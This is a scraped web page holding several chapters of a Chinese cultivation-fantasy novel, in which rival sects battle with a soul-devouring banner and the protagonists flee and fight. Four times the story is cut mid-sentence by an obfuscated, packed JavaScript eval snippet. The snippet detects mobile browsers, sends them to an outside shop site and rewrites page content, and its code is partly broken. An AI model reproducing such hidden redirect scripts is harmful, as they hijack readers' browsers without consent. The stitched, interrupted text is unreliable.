;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056334|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期修士的数次攻击,却不知对上玄天炉佐助的剑影,胜算几成。 剑尖刺中倒扣的龟壳,双方角力。 剑影与龟壳的形迹皆在淡褪,迅速地消耗对方。但,龟壳褪色更快,“咔”地一声,出现了第一道龟裂。 龟壳接触的地面同样被压到下陷,大地在倾斜。白翎顶着千万根钢针同时刺入头颅的剧痛,硬是挣出了一丝神智,道:“阿响!” 裴响亦转头看他,眉目冷冽依旧。他对白翎的意思再清楚不过——宁雪锁定的目标只有一人,裴响此时离去,尚有生机。 但裴响只道:“叫我作甚?” 他极少反问白翎,但凡反问,必能把白翎气死。不过恰在此时,一道狂奔的人影突然出现,在风中飚来。 那是一道很娇小的身影,背着双肩竹筐,两个花苞发髻被吹成了扁的。她用着疾驰符,一边拼命跑动,一边高高挥舞双手,径直冲到了“玄武金刚罩”外! 宁雪呼吸凝滞,骤然收手。 巨剑斜插大地,白翎浑身一轻,直挺挺往后倒去,背后的符文碎成了齑粉。 他被裴响接住,眼前发黑。刚才反抗宁雪的精神压制,耗费他太多心力,平复了半天仍头昏眼花。 可他极力辨认着挡在身前的背影,喃喃道:“阿花?” 小姑娘跑得上气不接下气,冲宁雪道:“师姨,您在做什么?为什么要对他们动手?” 宁雪严峻的面容上显出怒意,斥道:“阿花,你在做什么!还不速速过来?” 见到小姑娘,濒临疯狂的孔安也恢复一丝清明,嘶声说:“阿花啊,这不是你该来的地方——快回去,你的本命剑马上锻好了,为师不需要你帮忙!” 听见他们对话,白翎顿时明白了。 他双唇微张,叫出了阿花的真名:“……唐棠?” 小姑娘转回身,犹在发颤。 她对发生的一切都很茫然,讷讷地问:“你们、你们怎么会在这儿?白仙友,你们和师尊师姨有过节吗?是不是有什么误会……还有我师伯,他……他为什么和师尊打起来了!” 漱玉真人以“衔烛”直指她道:“问鼎一脉的五代上上品灵根弟子,百闻不如一见啊。唐棠,我师妹因你而死,难道你也全然不知吗?” 唐棠面色惨白,望着她的剑尖呆住。孔安骤然爆发巨力,将李德击倒,飞身挡在唐棠身前。 老道怒发冲冠,吼道:“那都是老夫的主意,她全然不知!师妹,你不是让师兄放心吗?师祖赐予你的另一件法宝呢,怎么还不亮出来?你在等什么!” “她是在等我。” 一道光风霁月的嗓音徐徐响起,虚空之中,墨蓝织金的道袍迎风飞展,令方圆一里内风沙顿消。 诸葛悟手持“千恨”,屈指一弹剑身,振落猩红的魔血。 他依然驱使“万怜”飞至师弟们身前,加以护佑,随后步步踏下高空,对宁雪说道: “诸位将计就计,在此设下埋伏,且专挑我师弟动手,不正是为了请我入瓮么?在下已如约而至。二位真人,我们两脉恩怨,终于可彻底清算!” 31.三十一、碧落 诸葛悟到场,三方派系鼎立。 他来到白翎与裴响身前,问:“你们二人可好?” 白翎勉力站起,虽面色十分苍白,但仍露出微笑,答:“很好,师兄不用担心。” 裴响寒声道:“你哪里好了?” 白翎冲他眯起眼睛,说:“我们俩是该算账。阿响,你真的很不听话!刚才……” 裴响转开头当没听见。 诸葛悟抬手道:“停,打完再吵。” 白翎很想把裴响的脑袋掰回来,可是若裴响先前丢下他,没有那层层叠叠的法宝报废、换来巨剑的片刻凝滞,说不定他已经在投胎路上了。 不止是他,裴响也逃不掉。 思及此,白翎心有余悸,头回生出了该努力修炼的想法。螳臂当车,才知自身力弱,生死无处堪托付,活下来也似大梦初醒。 然而此刻无暇他顾,面对唐棠,白翎五味杂陈。一时间,他犹豫了。 唐棠不顾性命地奔来救他们,对师尊劫杀窈娘也一无所知。灭问鼎一脉,该灭她吗? 诸葛悟一句话似冷水泼下,道:“阿翎,看见这位小仙友,倒让我想起二百年前的你了。背着剑胆,兴冲冲踏入秘境,等着我为你锻造本命仙剑……彼时之你,此时之她,皆是如此。” 白翎一怔,抬眼望着师兄。 诸葛悟亦斜睨向他,虽神色照常温柔,但语气淡淡,显然并非怀旧,而是提点。 白翎知道,自己短暂的心软被师兄看穿了。诚然,当初的他和现在的唐棠几乎一样。他对唐棠心软,可是问鼎一脉有对他手软吗? 白翎不语,诸葛悟也没有将话挑明,不过话锋一转,问:“阿翎,你还记得为本命剑拟好的名字么?若是心有杂念,或许又用不上了。” “我……记得。”白翎终是苦笑了一下,道,“我取了十多个名字呢。每一个……我都记得。” 孔安从远处飘来,大袖如云。唐棠没来得及说话,便被师尊变成一个馍馍,塞进袖里。 馍馍不停张合着上下两片儿,喊叫道:“师尊!你们别——” 她跌进袖袋,再传不出声音。 孔安的发冠已被打落,灰发披散,形容狼狈。可他松了口气,死死盯着诸葛悟道:“渡尘小儿,时至今日,我脉终于大仇得报!哈哈哈哈——断代之恨,不共戴天,你以为要报仇的只有你吗?你要保护师弟,我也要保护徒儿,现下正好了断!师妹,还不速速祭出师祖法宝?” 他家的祖师爷是一代,也就是被展月老祖扒皮抽筋的那位妖王。论辈分称,师祖指的是二代道君,道号“定坛”的是也。 宁雪将手一转,玄天炉飞至上空疾旋,从中舞出了一卷宝旗。霎时间天地变色,本就昏暗的天宇隐隐滋生雷动,竟是要降下暴雨的征兆。 魔域常年无雨,何况是气候恶劣的火神冢。 狂风大作,白翎抬手遮挡,见那宝旗实在诡异——他在裴家府上,见过漱玉真人借给裴舅爷的宝旗,绣的是神荼郁垒连环画,驱鬼辟邪。 可是此时此刻,宁雪召出的决不是什么“宝旗”,而是一卷“鬼旗”。森森阴气弥漫开,甚至压过了地底熔岩的热意,令在场之人无不生寒。 徐师弟赶紧把窈娘的遗像收好,小声问:“那是……什么?” “碧落幡。” 两个人异口同声,一齐回答。 白翎意外地看向身边,见是尹真去而复返,又不意外了,照旧道:“你好啊尹兄。你也知道这面旗子?” 在老祖的笔记里,关于法宝,着墨不多。对于碧落幡,仅批了“邪物”二字,并未详述。 裴响默默把火折子递给尹真。此物熄灭后,竹筒布满裂纹,大概无法再用了。 尹真一摆手道:“没事,我还有一打。不过,既然你们知道那旗子的来历,怎么还不逃跑?” 漱玉真人回归队伍,提剑道:“什么来历?” 尹真说:“修真界最凶残险恶的法宝,排行第一。虽然有些大能不会把压箱底的宝贝示人,或者让见到宝贝的都死了,所以排行榜并不完整。但,如果你们没有更厉害的东西,就快点走吧。” 他话音未落,人已经不见了。 白翎深吸一口气,心说你多介绍两句再跑啊!现在他除了知道碧落幡的名字、以及它很厉害,其他的一概不知。这怎么打? 一阵“呼啦啦”卷动的声音响起,宁雪站在碧落幡下,似披上了半身袈裟。 不过,袈裟上描绘的完全是炼狱图景:无数看不清面容的人影趴在幡上,面朝幡外,不住捶打着幡布。他们被困在其中,无声地嚎叫呼救。人影们争相抢到幡前,彼此撕扯,试图破禁而出。 宁雪远远唤道:“林暗,我有话对你说。” 白翎一时纳闷儿,不知她在叫谁。 没想到旁边传来漱玉真人的声音,冷冷回道:“何话?” 白翎才意识到,他和漱玉真人身份修为悬殊,所以从未问过她姓名。但宁雪和漱玉真人同为女修,即便不同代,也皆是门中栋梁,很可能互有耳闻。看宁雪放缓的态度,说不定还对漱玉真人略有钦慕。 果然,宁雪说:“我敬仰你的修为与道心,不愿让你无辜葬送。我知你素来爱惜同门,而劫你师妹之事,盖因李德妖言迷惑孔安。我事后知晓,亦无从弥补,现下李德任你处置,但你必须即刻离开。今日是我问鼎一脉与展月一脉的了断之战,你大可以置身事外,了却你师妹的因果后,带小辈们安然归去。” 她顿了顿,神色转冷,道:“否则碧落幡动、黄泉鬼出,小心你余下的同门,尽步窈娘后尘!” 雷鸣电闪,瞬息间映亮宁雪,也映亮了碧落幡上的亡魂。他们愈发拥挤,撑得幡布鼓胀,边角处渗出鲜血。 宁雪见林暗不语,进一步威胁:“别忘了你的师弟师妹们,早已中了我的定身符。只要他们留在此处,我的剑便可随时降下高天,锁敌而动。” 田师妹急忙道:“大师姐,你别操心我们!剑修岂有苟且偷生的道理?我们大不了和窈娘一样——我和她姐妹两个,仍在一起!” 林暗清叱一声:“住口!” 她眸色沉敛,显然在斟酌为难。 白翎看在眼里,倒是笑了笑,发自内心地说:“真人,我们一同走到现在,已经是一段奇缘。我刚才九死一生,你也看见了。如果宁真人对你的师弟师妹们出手,他们是绝无活路的。” 徐师弟一听也急了,道:“白仙长,你瞧不起谁呢?我们都一同到这了,不该接着走下去吗?那旗子邪门得很,多个人多份力,你快别说丧气话了!” “不是丧气话。只是……你不觉得碧落幡上的鬼魂,很眼熟吗?” 白翎的眉头,终于轻轻皱起。他望着幡布上纠缠的魂魄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068558|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便他们五官不清不楚,随身的法宝兵器也足以让白翎牵动记忆。 在哪里见过? 仿佛是《修真界宝鉴一览》,记录着散佚多年的宝贝,以及他们下落不明的主人。 诸葛悟道:“的确。幡内拘禁的,大多是道场仙友。” 林暗神色一凛,然而不待她发话,孔安已按捺不住兴奋,对宁雪说:“师妹,是时候让他们见识师祖的法宝了!正好拿李德祭旗,也让漱玉真人平恨!” 宁雪握紧旗杆,念念有词。 倒地不起的李德本想溜走,不料突遭点名。他已暗中服食丹药,续上一口气,闻言立马暴起,御剑奔逃。 然而罗网状的法宝从孔安袖中射出,牢牢捆缚住他。 李德不知是对碧落幡有多恐惧,大骇之下,竟然孤注一掷,把芥子袋抛给白翎,声嘶力竭地吼道:“姓白的!剑胆给你了——我还给你!两百年前是我的错,我错了白仙长!救我——” 然而暴涨的幡布将他席卷,裹得蚕蛹一般。 这一刻,在场诸人皆看见,幡上的亡魂齐齐扑来。他们明明没有表情,却浑然一股狂喜,似饿狼捕食,蜂拥而上。 李德的声音顷刻断灭。 裴响低声道:“他死了……” 修士之死,分肉身之死、魂灵之死。 肉身死后,元神出窍,若及时收入法器,还可以滞留于世,找机会夺舍重生。不过夺舍之难,难于上青天,更多人仅仅是处理完后事,便由他人送往洞天福地,轮回转生了。 而在李德被碧落幡卷入的刹那,他的肉身与魂灵俱灭。元神连逃出躯壳的机会都没有,转眼被鬼旗吞食。 幡布再度飞展,李德已不知所踪。 随着鲜血与肉渣被碧落幡吸收,其上多出了一道魂魄,观其衣着,正是新死的李德。他尚且十分茫然,片刻后明白过来,顿时道心溃败,与之前的魂魄们一样,疯了般捶打起幡布来。 一名元婴前期修士,即便身受重伤,也不至于死得如此草率。像踩死了一只蚂蚁,拂去了一片灰尘,数百年功名道行,须臾尽散。 白翎接住了他的芥子袋。 袋身干瘪,因为主人离世,颜色迅速泛黄。白翎却不仅没有放松,反而更压抑了。因为,宁雪舒畅地仰起头颅,似从旗杆中源源不断地汲取着灵力。 女修在惨白的电光之下,明明灭灭,如同鬼魅。有那么一瞬间,白翎头皮发麻——因为他清楚地看见,宁雪长出了李德的脸。 男人的五官衬着女子身躯,不过刹那,又恢复冰肌花貌。宁雪抬起手,李德黯淡在地的仙剑竟然轻轻发颤,被她召动,但她嫌脏,又随手将其丢弃。 一尊半透明身躯自宁雪的天灵盖升起,浑然是一座元婴。元婴形同修士本尊,不过放大无数倍,凌然立于天地间。 碧落幡吸食了李德后,把宁雪临时拔擢至元婴后期。孔安一声呼喝,还有两道身形在狂风中浮现。是问鼎一脉的另两名金丹期弟子,左右夹击,包抄而来。 宁雪与她的元婴同时开口,说:“漱玉真人,请。” 李德已死,窈娘遇害的罪魁祸首伏诛。面对实力更胜一筹的问鼎一脉,林暗不等师弟师妹们争辩,将手一挥,把他们全部收入袖中。 她御剑而起,临行前向展月一脉的三人投来一瞥,道:“告辞。” 言毕微微一笑。 32.三十二、血祭 白翎眨了眨眼,亦冲她露出笑容,道:“再会。” 他挥手送别林暗,虽不知道女修打得什么主意,但不论她回来与否,此去好歹保住了驾鹤一脉小辈们的性命,白翎也松了口气。 问鼎一脉下了如此血本,从二代道君处讨来两件稀世法宝,盖因三代被灭之仇。此为他们与展月一脉的宿怨,不应牵扯旁人。 此时此刻,场上只余诸葛悟颇具战力,应对问鼎一脉的四名修士。 白翎忍不住道:“师兄……” 诸葛悟笑了笑,说:“你照顾好小裴。当然,还有你自己。” 话音落下,他向前数步,顶窍亦升起元婴。不过他已臻至元婴后期的圆满地步,离破境化神一步之遥,因此元婴凝实,宝相庄严。诸葛悟立在元婴掌中,冉冉驾临高空,衣上的金纹全部活了过来,山纹流云,水纹泛波。 此等战事,绝非在旁看着便算“不拖后腿”了。白翎与裴响对视一眼,皆在对方眼中看出了一个字: 跑! 覆巢之下无完卵,此时不跑待何时? 不是说要卖了诸葛悟逃命,而是留下也只能作炮灰,不如分头行动。问鼎一脉必会让那两名金丹期弟子追来,如此让诸葛悟以一敌二,胜算更大几分。 白翎灵机一动,一边慢慢退后,一边翻起了李德的芥子袋。除了他两百年未见的剑胆,还有数不清的法宝兵刃,尽是李德剥削而来的战利品。 白翎本想把剑胆收进自己的芥子袋,可是漫长时日过去,剑胆早已生出灵识,见到他立即贴了上来,牢牢地黏在白翎背上不动了。 “这个没用,这个也没用……啊!这个有用。”白翎迅速辨认着各类法宝,翻出什么防御的、隐身的、加速的,立即往裴响身上套。 此时诸葛悟的元婴已与宁雪的元婴交手,同样放大无数倍的仙剑锵然碰撞,荡开漫天云翳。 宝华万丈,大地随着两柄兵刃相击而不断震颤。裂隙扩大,熔浆溢出地表,方圆千里内的魔物皆被吸引,发出此起彼伏的长嚎。 宁雪凝成的元婴由碧落幡强行造就,因此不敌诸葛悟。见师妹落于下风,孔安将散发一挽,御剑凌空,直击诸葛悟本尊。 白翎立即唤道:“万怜别管我们了,快去帮师兄!” 在他们身侧寸步不离的仙剑闻言转向诸葛悟,又转向白翎,显然十分纠结。白翎屈指弹了一下剑柄,给它一个脑瓜崩,催道:“快去呀!” “万怜”化作一道流光,与“千恨”并肩作战。 白翎已经把李德的遗物翻了个遍,骂骂咧咧:“什么脑残品味,收集这些玩意儿干嘛?很好看吗?鸟用没有。阿响,一会儿你往南,我往北,跑得越快越好!” 他欲动身,却被裴响一把抓住,道:“你怎么办?” 白翎把能用的法宝全用在师弟身上,自己两手空空。他拍拍师弟的脑袋,见师弟不为所动,又往师弟脸蛋上摸了一把,趁其发怔,立即挣开桎梏,迅速后退。 白翎振臂高呼:“师兄顶住啊!我先走一步啦——” 他御起神行术,直奔神目洞,身后飚起一溜风沙,烟尘四起。 半空中的孔安额角青筋狂跳,忙指使两名弟子:“去,快去!千万要活捉他!” 一名弟子应声而动,另一名则犹豫了,问:“师尊,他们还有个弟子,要不要我……” “那个等下再杀,白衣服的才是祸水!阿花的剑即将锻成,他肯定要去捣鬼,滚啊!” 孔安盛怒之下口不择言,转头又接了“千恨”一招,险些被打落云头。 白翎把他的吼声听在耳里,停步回身,向两名金丹期弟子手舞足蹈。此二人遭到挑衅,立即放下顾虑,齐齐杀来。 白翎转身又跑。 他的“神行术”亦是从老祖笔记中看来的,与其他派系的“登云步”、“夜游诀”、“天鹤舞”并称四大移行法门。 不过,“登云步”好在省力,“夜游诀”悄无声息,“天鹤舞”轻灵敏捷,“神行术”则以步调诡谲、出人不意而闻名。 缘由无他,盖因此法门是展月老祖同为筑基期时、专门为逃命开创的。 所以,再高雅的名字也无法改变其狼奔豕突的路径。白翎几次三番快被追上时,周身忽然生风,猛地窜出,气得身后二人狂叫不止。他在崎岖的岩丘间打转,像遛狗似的,把两条恶犬钓在后面。 两尊交战的元婴已被抛在身后,白翎潜心奔逃,足足跑了一刻钟,不免身法迟滞,四肢泛酸。他暂且停步,手扶岩壁休息,没想到回头看时,见那两个金丹期弟子更是上气不接下气,指着他口干舌燥,话都骂不出。 看着两人一瘸一拐、狼狈地赶来,白翎哈哈大笑道:“来啊!你、你们来追我啊!” “姓——姓白的,你你你,你等着!休要仗着你的法门好,待、待我们逮住你,有你好看的!” 两个问鼎一脉弟子已经被他溜了无数次,即便白翎就在前面不远,他们也提不起劲加快步伐了。 然而一股热浪涌起,吹得白翎身子一歪。他才发觉,绕过岩壁便是神目洞,他所靠着的岩壁,堪称神目的眼皮子。 问鼎一脉的弟子猛走两步,白翎又脚底抹油,晃到了岩壁另一边。 不过,他心下暗道不好:自己的修为太低了,耐力不足,一旦休息,便泄了劲儿,现在接着发动“神行术”,远不如刚才灵敏。 两个问鼎一脉的弟子也发现了端倪,大喜道:“跑啊!跑、跑不动了吧?” “展月遗孽,还不束手就擒——” 他二人同时扑来,显然对这个区区筑基期、却无比猖獗的家伙忍无可忍。白翎双目一虚,再度闪避,然而被扯碎了一角袖摆。 白翎的心沉了下去。 他意识到,继续拖延迟早被抓。诸葛悟虽然以一敌二、战成平手,但短时间内不可能分出胜负。 而这一刻钟的拖延,已经是白翎凭此时修为,能够做到的极限。 他被逼到神目洞的洞口,背后发烫,已经不能再退了。两名金丹期弟子从两侧逼近,满是戒备地靠近。 电光石火之间,白翎将心一横,生出了跳进洞内的想法。他的剑胆嗡鸣不止,显然感应到了纯粹的火系灵气,迫不及待要入洞受洗、脱胎换骨。 如果剑胆能吸纳热意,他是否有机会活命? 此念头太过疯狂,即便是白翎,也知此去九死一生——不,其实是必死无疑。 问鼎一脉的弟子讥笑道:“白翎,你命中注定,折在我派手里!不止是你、还有你师兄师弟,一个都别想逃。放心,我们不会立即要你的性命——你的腿接好了吗?再打断一次,或者直接碾碎!应该没法再接好了吧?” 另一名弟子也说:“师兄,快把他捆了。用他的命要挟诸葛悟,我要看渡尘真人下跪!” 白翎缓缓点头,放声笑道:“好……好!” 他舍了最后一丝迟疑,直接往后倒去。 剑胆发出悲鸣,随他下坠。两名问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085548|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼎一脉的弟子大惊失色,连忙扑到崖边。 可是神目洞纵深百丈,下方金红色的熔岩似能灼伤瞳仁,滚滚热浪扭曲了视野,哪有白翎身影? 刚才还叫嚣要折辱渡尘真人的弟子,现下面若死灰,道:“师兄……完了,师尊说要活捉他的!他怎么敢……” “什么完了?他不可能一下子烧成了灰吧?骨灰……把骨灰带回去也行啊!” 他师兄慌乱之下,半个身子探出洞口,极力寻找白翎的踪迹。 师弟却两眼无神,瘫坐一旁,摇头道:“找不到的……神目洞是锻剑之地,他肉体凡胎,肯定灰都不剩了!” “嗤”的一声,大蓬鲜血爆开,浇了他满头满脸。此人呆愣片刻,颤颤抬头,只见师兄探出去的半截身子齐腰断裂,被几道剑气打成了筛子。 死者的元神冒出,直到消散前,仍是满面茫然:“啊?” 一道披雪流光拔地而起,离洞登天,冲破风沙与乌云。 细看之下,流光是仙剑两道、披雪是白衣一袭。刚才跳崖的白衣青年被两柄仙剑夹在中间,放声惨叫:“啊啊啊啊啊——” 白翎快背过去了。 他头回以人身御剑,或者说是剑御他。眨眼冲上云巅高处,俯瞰苍茫魔域,劫后余生的喜悦还没占满心窍,对高空的恐惧便让他半只脚踏进了地府。 两柄刚出炉的仙剑一左一右,紧紧地架着他。一柄是裴响的金属性剑胆锻成,另一柄是白翎的三宝属性剑胆打就。 白翎的剑胆救主心切,在他坠崖时,吸尽了周边火灵,瞬间锻造成型。随后,尚在神目洞深处养神的裴响剑胆受到感召,前来襄助,亦认出了白翎的气息。 同一时刻,问鼎一脉活下来的弟子抱着师兄残躯,抖若筛糠。 有人悄无声息地逼近,投下斜长黑影。 弟子回头,只见一名墨衣飞展的少年。其如画眉眼在夜色中浮现,此情此景,如艳鬼索命。 少年的神情实在可怖,尤其是环顾四周、没找到他所找之人的踪迹后,他双目深处,似缓缓转动漩涡。 问鼎一脉的弟子又哭又笑,踉跄起身,道:“裴、裴响?天生剑骨?练气期小儿,也敢来我面前造次,是来为我师兄殉葬的么?” 裴响寒声道:“我师兄,在哪?” “他跳下去了!”金丹期修士祭出兵器,直指裴响咽喉。他左摇右晃,疯疯癫癫地说,“姓白的死了!我、我拿你去要挟诸葛悟,他那个伪君子做派,不会弃你于不顾的——” 裴响用手握住了他的剑。 剑尖不再摇晃,被他固定在掌中。鲜血四溢,却诡异地倒流了,并未滴落,而是沿着裴响的经脉游走,在他苍白的肌肤上,形同裂痕。 少年只重复了一个字:“死?” 金丹期修士发现,他竟然拔不出自己的剑了。下一刻,大力袭来,带着他往前一晃。 剑尖倏地刺进了裴响咽喉,血液汩汩流出,皆向他面上逆行。少年攥着剑的手更加用力,骤然捏断剑身,反手划过敌人的脖颈。 一击即中,打碎护体灵力。五官扭曲的人头飞出去,无首的尸身犹在僵直。 死者的元神自断口处升起,见自己的躯壳缓缓软倒,发出不敢置信的尖叫:“不不不!” 狂风吹袭,将其顷刻刮散。 裴响眼前发黑,亦支撑不住了,单膝跪地。 在他即将倒下前,一片柔和明亮的白影从天而降,直扑过来,恰好把他抱了个满怀。 33.三十三、吃人 是冷的。 白翎接住裴响的时候,被冻得直颤。少年人的体温极低,像一块冰。 但也是热的。 热的是血,源源不断往外冒的血。从裴响割到掌骨的手心溢出,从他几乎捅穿的咽喉涌出。 白翎突然失声了,什么话也说不出来,只能慌乱地捂住裴响伤口,意识到毫无作用,立即将他抱起。 两柄仙剑已并肩浮在地面,等着载他。白翎想也没想便踩上去,咬牙把持着平衡,御剑在山岩间穿梭,低空飞掠熔浆汇成的溪河。 到了元婴交战处,白翎下地才发觉腿软。可他脚步不停,又运起神行术,向诸葛悟奔去。 他终于能发出声音,喊道:“师兄——师兄!” 诸葛悟闻声侧目,百忙之中掐了个诀,分身为一只青鸟,飞到白翎身前,挡住他再靠近。 青鸟发出诸葛悟的声音,道:“把他放下。” 白翎照做,但不忍松开裴响的伤处,仍紧紧按着。 他见青鸟的白喙一张,吐出在裴家用过的瑶池鼎,刚松了口气,又想起什么,问:“阿响上次进去,不是快把你的存货吃空了吗?这次……这次伤得更重……” “你当我前阵子在忙什么?给你们报名讲坛的时候,我下山云游了一遭。”青鸟催动香炉,把裴响收进去温养。 白翎得知他补充过库存,总算稍稍放心。可青鸟一声叹息,似乎情况很不乐观,说:“伤得也太重了。你呢?身上如何?” “我没事。两柄剑胆都锻成了,我本想带它们去找阿响,没想到看见他的时候,已经……”白翎满手是血,索性往衣服上擦,喃喃地说,“是我没照顾好他。师兄,阿响杀了一个金丹期修士。” 青鸟沉默片刻,问:“他的功法,你知道么?” 白翎点头道:“《太上迢迢密文》。” “原来如此。” 青鸟再度长叹,比之刚才,更显忧虑。 显然,诸葛悟也对这部功法有所耳闻,甚至熟知,可惜此时无暇闲聊,他把瑶池鼎交给白翎,说:“你快带阿响离开。” “什么?”白翎一愣,道,“你打不过他们吗?” “打得过。但,战场瞬息万变,我不希望你们涉险。而且……”分身的时间快到了,青鸟化成一片片青羽,声音也在空中消散,“我一直有所预感。真正的危机,尚未到来。” 白翎下意识伸手,只抓住了一片羽毛。他把瑶池鼎抱在怀里,二话不说,又踩上两柄剑。 没了刚才浑浑噩噩、吊着一口气的精神状态,白翎再想御剑,御得像醉驾一样。可他必须听诸葛悟的话,带裴响远离此地。 师兄陷入苦战,师弟生死未卜。白翎勉力维系着平衡,贴地飞行,融入神行术,渐渐越飞越快。 身畔风声呼啸,百里缩在须臾。 不过,白翎还是没忍住回头,看了战场一眼。 此时此刻,双方已进行到决胜关头。 诸葛悟尚有余力,问鼎一脉的二人节节败退。宁雪的元婴毕竟是法宝临时捏就的,每受一击,身形都在淡化。孔安更是癫狂,被符箓强化过数次后,眼球暴突,仙剑渐失章法,唯有喊杀声震天。 白翎实在不解,明显不落下风的诸葛悟为何要他们离开。“真正的危机尚未到来”,师兄的话是什么意思? 问鼎一脉的祖师爷早凉透了,二代道君多年闭关,三代弟子尽数绝命。除了那四代的两人,还有什么后手吗? 白翎忽然心下一惊。 是了,在他逐一排查的人中,确实存在一个漏洞! 闭关的定坛道君——两百年来,他真的在闭关吗? 白翎发现一块突出的焦岩,立即驱使双剑,飞过去藏身。当他觉得师兄胜券在握时,转身就跑无需顾虑;但当他明白了真正的危机是什么,脑子还没转动,脚已经在往回走。 白翎躲在岩石后,迫使自己冷静,抽丝剥茧。 修士们闭关,会进入一段极深长的冥想,置外物于不顾,潜心神于内府,全力突破关窍。一般来说,只要修为达到一定地步,闭关出关皆会引得天象异动,外人尽知。 可是,天象可以作假,外人只是看个大概,也不知具体情境如何。定坛道君因断代气得经脉逆行,是众所周知之事,不过此事传出来,亦是问鼎一脉弟子所说,谁又能证明真伪? 万一从头到尾,皆是定坛道君布下的疑阵呢? 其实他的修为并未受损,至少没到要闭关百年的地步。那他在顾虑什么? 白翎心头雪亮,终于记起了自家师尊——梦微道君,折雨洞天的避世之辈,道场著名的“不可以常理揣摩”之人。 定坛道君若是为徒儿报仇、诛杀诸葛悟,他能赌梦微道君心情好吗?心情好,就让他赔一副棺材罢了;心情不好,问鼎一脉的祖师爷会被掘墓鞭尸。 白翎抹了把额角。 不知何时,他已经冷汗涔涔。 时间回到裴响入门那天,适逢梦微道君顿悟《法眼遍历秘典》的最后一卷,闭关入定。是不是正在那时候,定坛道君终于等来了机会,开始在暗中移动棋子、排兵布阵? 梦微道君所修的功法,让他能纵览修真界,上见青天明月,下见草木蜉蝣。 唯有他闭关时,闭上那双眼,定坛道君才能瞒过他的洞察,把诸葛悟葬送在秘境,葬送在这个厮杀不止、长夜无明的鬼地方。 锵然巨响,天地回荡。 诸葛悟发动了全力一击,简洁凝练的一剑,洞穿宁雪元婴的心脏。 大地深处的沟壑中,传来魔物嗥鸣,似万鬼恸哭。大地上的战事终于接近尾声,宁雪元婴受创,本体亦伤,按着心口跌落高空。 她摔在碧落幡里,七窍流血,挣扎着起身。 孔安急忙飞落,对重伤的师妹咋咋呼呼,语无伦次道:“师妹!雪儿,你不成了呀——奇怪奇怪,旗子怎么在吸你的血?它不听你的话了?呔!碧落幡啊碧落幡,让老夫也尝尝你的厉害!” 老道阔步横跳,精神抖擞地舞了段降魔剑,竟是彻底疯了。 他的剑招划到最后一步,洞穿宁雪心口,嘴里仍道:“仙丹!灵药!四面八方来!师兄救你啦雪儿,如此便不疼了吧?” 宁雪猝然睁大双目,元神冒出胸腔,骂道:“朽木……” 她话未说完,便被碧落幡窸窸窣窣地吸食了。连同她的身躯一起,被幡布裹紧,发出令人耳酸的压榨声。 诸葛悟摇了摇头,元婴举剑插下。 孔安一看不妙,求生的意志压过疯魔,竟然一把抢过碧落幡,仰头直面巨剑。 他怒吼道:“师妹死得其所,速来助我!” 霎时间,一尊元婴也从孔安头上新生!他的元婴并拢双掌,牢牢接住了诸葛悟的“千恨”。 “万怜”自后方袭来,不料在孔安背后,骤然挤出了另一人的上半身,同样空手接白刃,挡住了“万怜”。 此人不是别人,正是刚被碧落幡吞噬的宁雪。他二人的元婴像连体婴一般,背靠背共用下半身,两头四臂。 宁雪先反手给了孔安一胳膊肘,继续骂刚才没骂完的话:“朽木不可雕也!” 孔安却大喜道:“骂得好,骂得好!我就是烂泥扶不上墙——” 他疯癫之下,把曾经被师尊批评、被李德侮辱、被宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093687|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪讽刺的话全吐了出来,兴高采烈地自我介绍。 诸葛悟则面色微变,不料他们师兄妹形成了双生元婴。或许因来路不正,此元婴通身散发邪气,可是比宁雪独身凝婴的时候,敦实百倍。 孔安弃剑不用,把碧落幡挥舞得虎虎生风。他仰头呼号:“天助我问鼎一脉——” 下一刻,诡异的撕裂声响起,一只手从他和宁雪相连的脊背处伸出,硬是将他们撑开了一道缝。 又一人的上半身挣了出来,夹在他们中间。孔安和宁雪同时变了神情,转头骂道:“你来凑什么热闹?!” 李德如获重生,狂笑声震彻天地:“天助问鼎一脉?哈哈哈哈!天来了——我,就是你们的天!!!” 